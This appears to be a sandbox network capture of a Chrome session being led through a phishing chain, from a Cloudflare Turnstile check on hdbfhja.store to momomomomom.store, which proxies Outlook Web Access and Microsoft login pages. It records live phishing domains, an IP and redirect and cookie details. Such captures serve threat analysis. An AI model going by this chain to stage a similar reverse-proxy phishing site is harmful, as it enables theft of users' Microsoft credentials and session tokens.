2024-05-07 18:28:26 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:26 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 18:28:26 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: WnfX7yAWCE8LOwIQwJBj9g==$LkXD85HarsawrJts0ceFlA== Server: cloudflare CF-RAY: 8803450fdcd342c2-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:26 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49760	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:35 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34403 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8e6ada03ae78a62 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:35 UTC	16384	OUT	Data Raw: 76 5f 38 38 30 33 34 34 65 63 33 66 62 66 34 31 64 38 3d 25 32 62 51 33 31 6d 6a 54 61 79 54 51 33 79 6a 71 57 30 54 78 2d 6d 31 4f 76 76 49 54 5a 2d 37 31 54 41 6a 64 2d 49 31 49 33 54 6f 2d 79 31 49 4c 6a 30 2d 47 6a 2d 57 6c 31 54 76 2d 2b 31 39 4c 2d 53 35 32 35 2d 35 71 2d 43 31 38 45 59 33 2d 48 4c 2d 46 2d 36 33 2d 65 2d 38 5a 4f 48 2d 6b 6e 5a 75 66 2d 50 6c 57 68 58 39 33 58 48 24 30 2d 54 46 72 35 2d 67 49 2d 44 68 2d 30 31 72 61 2d 59 31 54 61 2d 57 49 49 2d 4d 33 2d 78 4b 6a 61 4b 2d 57 24 61 49 6e 48 48 73 58 57 2d 32 6c 2d 63 4d 49 75 6c 71 39 76 4c 31 2d 32 4b 73 6b 44 30 49 4e 32 44 78 7a 76 2d 69 4e 34 50 2d 2d 6e 48 2d 2d 61 2d 6c 6e 41 4b 33 67 32 2d 39 6e 53 44 35 30 64 62 72 36 5a 6a 31 35 4e 64 64 43 49 62 6f 79 66 7a 56 2b 64 4b 33 Data Ascii: v_880344ec3fbf41d8=%2bQ31mjTayTQ3yjqW0Tx-m1OvvITZ-71TAjd-I1I3To-y1ILj0-Gj-Wl1Tv-+19L-S525-5q-C18EY3-HL-F-63-e-8ZOH-knZuf-PlWhX93XH$0-TFr5-gI-Dh-01ra-Y1Ta-WII-M3-xKjaK-W$aInHHsXW-2l-cMIulq9vL1-2KskD0IN2Dxzv-iN4P--nH--a-lnAK3g2-9nSD50dbr6Zj15NddCIboyfzV+dK3
2024-05-07 18:28:35 UTC	16384	OUT	Data Raw: 2d 38 6c 57 79 2d 4c 41 48 41 4d 4c 50 38 2d 6c 54 50 2d 4c 2d 56 6c 42 6c 50 41 72 2b 2d 44 2d 4f 31 57 47 79 69 2d 4d 31 38 41 54 4b 2d 6b 66 49 32 54 49 2d 55 61 54 2d 54 6e 2d 46 6c 54 4e 2d 6d 41 42 6c 57 61 2d 46 2d 61 41 6a 68 2d 78 2d 4b 76 30 6f 4b 64 4c 49 6a 35 35 2d 4b 2d 61 36 5a 6e 71 5a 79 30 41 35 68 2d 4e 41 39 37 57 50 31 4f 2d 39 2d 57 33 57 5a 6c 48 6a 49 53 54 6f 2d 61 36 62 51 54 77 33 38 6c 49 4e 54 6a 2d 4b 31 39 33 2d 66 24 48 6a 49 41 6a 5a 79 2b 41 54 50 31 75 2d 61 79 57 2d 2d 5a 79 50 31 39 33 6a 6a 2d 77 2d 55 46 54 69 2d 47 50 6a 33 43 6a 2d 6c 31 39 33 54 72 32 35 2d 2d 4d 71 4c 41 59 2d 35 6c 54 58 2d 46 2d 38 41 2d 72 2d 46 70 44 31 54 76 2d 38 2d 2d 61 2d 75 2d 4c 52 30 4c 54 63 37 58 2d 33 35 54 65 2d 42 4b 6a 31 57 75 Data Ascii: -8lWy-LAHAMLP8-lTP-L-VlBlPAr+-D-O1WGyi-M18ATK-kfI2TI-UaT-Tn-FlTN-mABlWa-F-aAjh-x-Kv0oKdLIj55-K-a6ZnqZy0A5h-NA97WP1O-9-W3WZlHjISTo-a6bQTw38lINTj-K193-f$HjIAjZy+ATP1u-ayW--ZyP193jj-w-UFTi-GPj3Cj-l193Tr25--MqLAY-5lTX-F-8A-r-FpD1Tv-8--a-u-LR0LTc7X-35Te-BKj1Wu
2024-05-07 18:28:35 UTC	1635	OUT	Data Raw: 6c 72 48 33 76 71 41 2d 30 47 72 68 50 6e 2d 61 70 61 51 2d 6a 35 77 54 68 68 2d 2d 68 76 76 50 51 2d 39 73 33 79 6a 54 7a 77 5a 36 6a 79 33 6d 35 51 64 49 6a 41 6a 4c 79 4d 2d 38 75 6a 37 32 54 41 35 51 54 5a 6c 59 52 39 45 4a 6e 51 79 50 55 6f 6e 45 2d 72 39 38 75 6a 64 5a 5a 5a 77 34 46 64 2d 4b 53 33 52 54 43 6c 75 41 2d 61 2d 58 44 4d 2d 35 4c 66 6b 53 36 2d 57 54 62 58 6c 78 6c 45 4e 2d 35 2d 6c 75 43 31 2d 7a 6c 39 2d 6a 6b 76 30 78 35 30 68 70 56 2b 58 33 4f 32 33 2d 44 2d 39 6e 67 6c 54 69 2d 54 55 33 45 54 78 41 44 6e 53 49 54 24 51 61 68 42 39 42 57 33 52 4b 68 47 68 4a 45 63 76 73 55 2d 78 41 47 35 35 68 55 4f 31 33 65 53 58 2d 64 35 48 41 49 48 31 38 2d 68 32 49 31 67 52 2d 30 41 54 4f 4b 52 71 41 38 71 72 76 44 2d 2b 5a 4e 49 46 66 31 69 53 Data Ascii: lrH3vqA-0GrhPn-apaQ-j5wThh--hvvPQ-9s3yjTzwZ6jy3m5QdIjAjLyM-8uj72TA5QTZlYR9EJnQyPUonE-r98ujdZZZw4Fd-KS3RTCluA-a-XDM-5LfkS6-WTbXlxlEN-5-luC1-zl9-jkv0x50hpV+X3O23-D-9nglTi-TU3ETxADnSIT$QahB9BW3RKhGhJEcvsU-xAG55hUO13eSX-d5HAIH18-h2I1gR-0ATOKRqA8qrvD-+ZNIFf1iS
2024-05-07 18:28:35 UTC	478	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out-s: 7FDjDAVS7rLnc9ztaKObrQ==$0ExL2n3RuTPUttzuGi7FnA== cf-chl-out: AmH46U/uuvCypU5rqIDjcFY7PkQ3uh929k5WTFI/sfRFweW90jonomuFuaajcKaWdjv8oYHEZENmTuri/gDi5/TgmYUIXMaylQaGvkor1EG6oDngq1isygam9SdmPwMw$0ZOnZfz1lBqkOxBZyOoiIQ== vary: accept-encoding Server: cloudflare CF-RAY: 880345472fe6726b-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:35 UTC	464	IN	Data Raw: 31 63 39 0d 0a 62 62 57 49 65 4b 65 63 69 71 71 67 65 33 32 6d 6e 35 65 45 6f 49 4f 44 77 4c 32 35 78 4b 62 4f 76 6f 79 4d 77 71 53 74 78 4b 76 4f 71 39 6a 50 76 70 79 35 30 72 4c 54 76 4d 57 2b 33 74 69 68 31 4b 66 63 70 64 76 50 7a 38 4c 66 77 73 4c 68 78 75 66 4d 32 64 4b 31 78 72 76 6f 33 38 72 2b 34 75 58 38 41 74 62 33 2b 75 6e 6d 32 63 58 4a 2f 4e 37 4e 7a 4f 49 45 41 2f 58 78 39 76 4c 56 2b 68 48 79 31 51 6b 51 33 41 48 62 4a 74 30 5a 45 52 7a 68 36 68 67 69 44 79 73 63 2f 65 30 65 41 79 51 56 46 67 38 74 42 2f 55 64 43 76 59 64 4b 54 55 62 4e 53 34 36 44 30 4d 58 4f 45 4d 71 4a 78 73 62 42 55 55 65 43 55 55 68 51 45 59 6d 4b 30 67 37 49 30 39 62 58 7a 35 63 48 6c 34 65 48 6c 4d 36 49 30 63 68 4b 45 68 6b 4b 6c 38 6d 62 43 35 68 62 57 70 69 63 45 Data Ascii: 1c9 bbWIeKeciqqge32mn5eEoIODwL25xKbOvoyMwqStxKvOq9jPvpy50rLTvMW+3tih1KfcpdvPz8LfwsLhxufM2dK1xrvo38r+4uX8Atb3+unm2cXJ/N7NzOIEA/Xx9vLV+hHy1QkQ3AHbJt0ZERzh6hgiDysc/e0eAyQVFg8tB/UdCvYdKTUbNS46D0MXOEMqJxsbBUUeCUUhQEYmK0g7I09bXz5cHl4eHlM6I0chKEhkKl8mbC5hbWpicE
2024-05-07 18:28:35 UTC	1369	IN	Data Raw: 62 38 66 0d 0a 66 44 70 41 68 4c 50 47 4f 6b 57 30 78 76 59 47 74 63 66 47 42 37 62 49 77 44 66 38 50 76 6c 2f 68 7a 73 48 77 50 73 4a 2b 6f 62 45 69 34 6b 49 51 59 4b 39 78 51 5a 39 51 34 70 50 42 41 61 44 78 73 76 47 42 6f 35 47 6a 30 7a 53 42 5a 4d 4d 43 4a 4d 48 7a 49 30 52 46 59 53 51 79 46 49 47 31 6f 38 4e 46 6f 32 56 54 39 51 54 53 55 39 52 69 4d 6a 5a 69 56 70 4c 56 74 43 59 53 39 72 58 43 73 6e 59 30 6f 77 4f 57 59 35 4e 6a 78 55 4f 6a 73 2f 58 58 70 76 64 47 4e 31 56 34 4b 42 51 6c 64 59 53 46 35 75 61 48 4e 39 58 5a 42 70 69 31 42 51 6b 6d 6c 5a 6d 33 47 58 6d 35 74 30 59 49 39 65 6e 6c 2b 46 59 6e 36 70 6d 5a 74 34 61 61 32 6d 6b 48 43 56 6b 6e 57 34 74 48 4e 73 65 58 5a 33 6e 33 31 79 65 58 6d 59 72 37 47 56 78 73 53 30 68 59 66 44 72 61 33 Data Ascii: b8f fDpAhLPGOkW0xvYGtcfGB7bIwDf8Pvl/hzsHwPsJ+obEi4kIQYK9xQZ9Q4pPBAaDxsvGBo5Gj0zSBZMMCJMHzI0RFYSQyFIG1o8NFo2VT9QTSU9RiMjZiVpLVtCYS9rXCsnY0owOWY5NjxUOjs/XXpvdGN1V4KBQldYSF5uaHN9XZBpi1BQkmlZm3GXm5t0YI9enl+FYn6pmZt4aa2mkHCVknW4tHNseXZ3n31yeXmYr7GVxsS0hYfDra3
2024-05-07 18:28:35 UTC	1369	IN	Data Raw: 52 4c 50 46 39 51 57 30 78 73 55 47 74 63 66 2b 39 7a 74 2b 4f 2f 6c 35 51 67 5a 36 52 72 37 35 53 41 72 4a 51 59 67 4d 42 49 6f 41 51 49 6c 45 44 6e 31 4b 67 34 63 49 41 72 2b 41 43 49 64 46 7a 45 61 52 55 49 42 4e 51 51 68 4f 43 30 4c 54 52 45 4b 55 30 39 49 55 69 6b 35 56 79 6b 31 4e 6b 74 63 56 6a 74 52 4e 6b 39 68 53 44 42 63 61 47 73 6f 62 6c 6c 4f 53 43 35 73 59 33 4e 46 54 53 35 45 51 6c 5a 48 53 33 5a 31 4e 6d 42 4c 64 31 5a 69 58 56 64 78 58 49 56 65 56 6c 68 45 59 30 56 67 69 32 78 65 56 46 35 65 64 48 68 69 56 31 69 48 5a 58 5a 66 6e 70 65 65 64 35 69 43 6e 6d 4a 33 63 36 61 72 59 34 71 5a 6e 33 2b 45 6f 57 70 2b 67 48 43 41 6f 6e 5a 78 65 4a 32 61 66 72 78 33 67 61 2b 30 73 49 4f 79 66 59 43 49 78 71 4c 49 79 4d 75 71 6a 4a 44 50 73 6f 79 54 Data Ascii: RLPF9QW0xsUGtcf+9zt+O/l5QgZ6Rr75SArJQYgMBIoAQIlEDn1Kg4cIAr+ACIdFzEaRUIBNQQhOC0LTREKU09IUik5Vyk1NktcVjtRNk9hSDBcaGsobllOSC5sY3NFTS5EQlZHS3Z1NmBLd1ZiXVdxXIVeVlhEY0Vgi2xeVF5edHhiV1iHZXZfnpeed5iCnmJ3c6arY4qZn3+EoWp+gHCAonZxeJ2afrx3ga+0sIOyfYCIxqLIyMuqjJDPsoyT
2024-05-07 18:28:35 UTC	228	IN	Data Raw: 37 33 45 51 2f 78 36 74 6b 50 44 68 76 2b 47 68 4c 6a 41 43 6e 37 43 41 41 72 41 78 73 6b 4c 77 73 46 4c 78 41 77 4e 79 34 34 4b 77 73 73 45 44 31 41 4d 2f 6f 62 4e 54 55 53 53 42 38 6e 53 45 45 34 50 69 31 49 54 67 6b 76 42 77 34 53 52 53 6b 6a 47 7a 77 62 50 6a 49 76 48 31 30 61 4c 54 34 66 49 31 4d 78 61 47 4a 72 4a 56 38 6f 54 7a 38 77 54 54 42 77 59 55 6c 6e 64 58 51 34 63 33 4e 6e 64 33 46 35 66 58 73 2b 65 6d 35 45 65 58 35 49 58 55 52 71 65 46 35 6b 59 46 42 63 53 30 65 4a 67 6d 4b 49 61 33 71 59 6b 59 71 4d 63 6e 4b 54 62 70 78 32 6c 6c 32 67 65 70 70 70 70 48 36 65 5a 70 36 50 70 6e 75 63 72 4b 36 32 73 33 6d 6a 6a 4c 42 35 66 48 79 65 6b 73 43 48 69 41 3d 3d 0d 0a Data Ascii: 73EQ/x6tkPDhv+GhLjACn7CAArAxskLwsFLxAwNy44KwssED1AM/obNTUSSB8nSEE4Pi1ITgkvBw4SRSkjGzwbPjIvH10aLT4fI1MxaGJrJV8oTz8wTTBwYUlndXQ4c3Nnd3F5fXs+em5EeX5IXURqeF5kYFBcS0eJgmKIa3qYkYqMcnKTbpx2ll2geppppH6eZp6PpnucrK62s3mjjLB5fHyeksCHiA==
2024-05-07 18:28:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49763	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:35 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:35 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 18:28:35 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: p5dRP9ARJqTpLs+ykANdAw==$9X7bXG8rJQtDec/UJF/aAA== Server: cloudflare CF-RAY: 8803454baa5fc484-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:35 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49762	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:35 UTC	1295	OUT	POST /?xeuxuwcg=557878b1416645a740a9119a6f4ae2274233f6c9186bcefac0510f6e30102bc3eae40bcec311e10ba4bf76faa9c8ab9761ac44829bccbe1c2f1f9dbd9ec6e43f&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive Content-Length: 560 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://hdbfhja.store Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://hdbfhja.store/?xeuxuwcg=557878b1416645a740a9119a6f4ae2274233f6c9186bcefac0510f6e30102bc3eae40bcec311e10ba4bf76faa9c8ab9761ac44829bccbe1c2f1f9dbd9ec6e43f&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
2024-05-07 18:28:35 UTC	560	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 58 66 63 56 67 2d 59 74 70 39 51 71 59 67 72 5f 49 61 70 32 4e 44 51 45 73 30 76 4d 50 43 62 58 51 49 74 78 38 34 39 39 71 66 54 56 69 5f 57 56 55 2d 52 5f 6f 43 51 39 6a 57 31 6d 5f 4a 73 44 57 7a 62 70 6b 6a 72 62 6a 72 4a 41 6e 53 6c 75 50 5a 64 57 53 4f 59 43 52 65 61 7a 78 4b 57 77 4f 71 59 64 37 55 51 35 41 4b 39 71 48 48 36 7a 42 42 6f 6f 68 2d 52 78 5f 78 49 6d 64 5f 78 78 52 50 2d 4a 6f 63 75 44 4d 45 43 67 4c 73 42 52 57 6c 4a 51 56 62 34 5a 73 49 63 46 33 53 4a 6e 72 57 47 68 51 37 55 36 4b 64 39 63 2d 57 68 66 65 31 5a 78 33 6f 58 4b 79 39 79 4c 4f 6b 45 7a 4e 50 6f 50 2d 71 62 33 56 79 79 48 6a 57 43 62 46 5f 63 47 32 41 70 73 35 55 79 78 2d 36 62 74 64 5f 37 41 34 6a 55 Data Ascii: cf-turnstile-response=0.XfcVg-Ytp9QqYgr_Iap2NDQEs0vMPCbXQItx8499qfTVi_WVU-R_oCQ9jW1m_JsDWzbpkjrbjrJAnSluPZdWSOYCReazxKWwOqYd7UQ5AK9qHH6zBBooh-Rx_xImd_xxRP-JocuDMECgLsBRWlJQVb4ZsIcF3SJnrWGhQ7U6Kd9c-Whfe1Zx3oXKy9yLOkEzNPoP-qb3VyyHjWCbF_cG2Aps5Uyx-6btd_7A4jU
2024-05-07 18:28:36 UTC	407	IN	HTTP/1.1 302 Found location: https://momomomomom.store?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL21vbW9tb21vbW9tLnN0b3JlIiwiZG9tYWluIjoibW9tb21vbW9tb20uc3RvcmUiLCJrZXkiOiJBeGFlS1RoV3VyTlIiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjUxNiwiZXhwIjoxNzE1MTA2NjM2fQ.ceVGlhXj_iYg_uPWBJTwQGIVTbysS8xc5bwc6ts3pNk Date: Tue, 07 May 2024 18:28:36 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:28:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49764	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:36 UTC	989	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL21vbW9tb21vbW9tLnN0b3JlIiwiZG9tYWluIjoibW9tb21vbW9tb20uc3RvcmUiLCJrZXkiOiJBeGFlS1RoV3VyTlIiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjUxNiwiZXhwIjoxNzE1MTA2NjM2fQ.ceVGlhXj_iYg_uPWBJTwQGIVTbysS8xc5bwc6ts3pNk HTTP/1.1 Host: momomomomom.store Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:37 UTC	282	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=AxaeKThWurNR; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; path=/; samesite=none; secure; httponly location: / Date: Tue, 07 May 2024 18:28:37 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:28:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49765	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:37 UTC	790	OUT	GET / HTTP/1.1 Host: momomomomom.store Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
2024-05-07 18:28:37 UTC	1160	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://momomomomom.store/owa/ Server: Microsoft-IIS/10.0 request-id: 9ed16d27-3f70-2984-5695-655ff86cf642 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: FR2P281CA0113, FR2P281CA0113 X-RequestId: 230440a0-79d7-4b33-882e-f588eb31af7c X-FEProxyInfo: FR2P281CA0113.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: FRA MS-CV: J23RnnA/hClWlWVf+Gz2Qg.0 X-Powered-By: ASP.NET Date: Tue, 07 May 2024 18:28:37 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49766	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:38 UTC	794	OUT	GET /owa/ HTTP/1.1 Host: momomomomom.store Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
2024-05-07 18:28:38 UTC	7053	IN	HTTP/1.1 302 Found content-length: 1284 Content-Type: text/html; charset=utf-8 Location: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q Server: Microsoft-IIS/10.0 request-id: c06fd801-27cc-32eb-08eb-ab2223efa35c Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedBETarget: FR2P281MB3376.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 302 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: ClientId=12D705722FB7452FB0AD373906C89A99; expires=Wed, 07-May-2025 18:28:38 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=12D705722FB7452FB0AD373906C89A99; expires=Wed, 07-May-2025 18:28:38 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Thu, 07-Nov-2024 18:28:38 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=momomomomom.store; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Sat, 07-May-1994 18:28:38 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Sat, 07-May-1994 18:28:38 GMT; 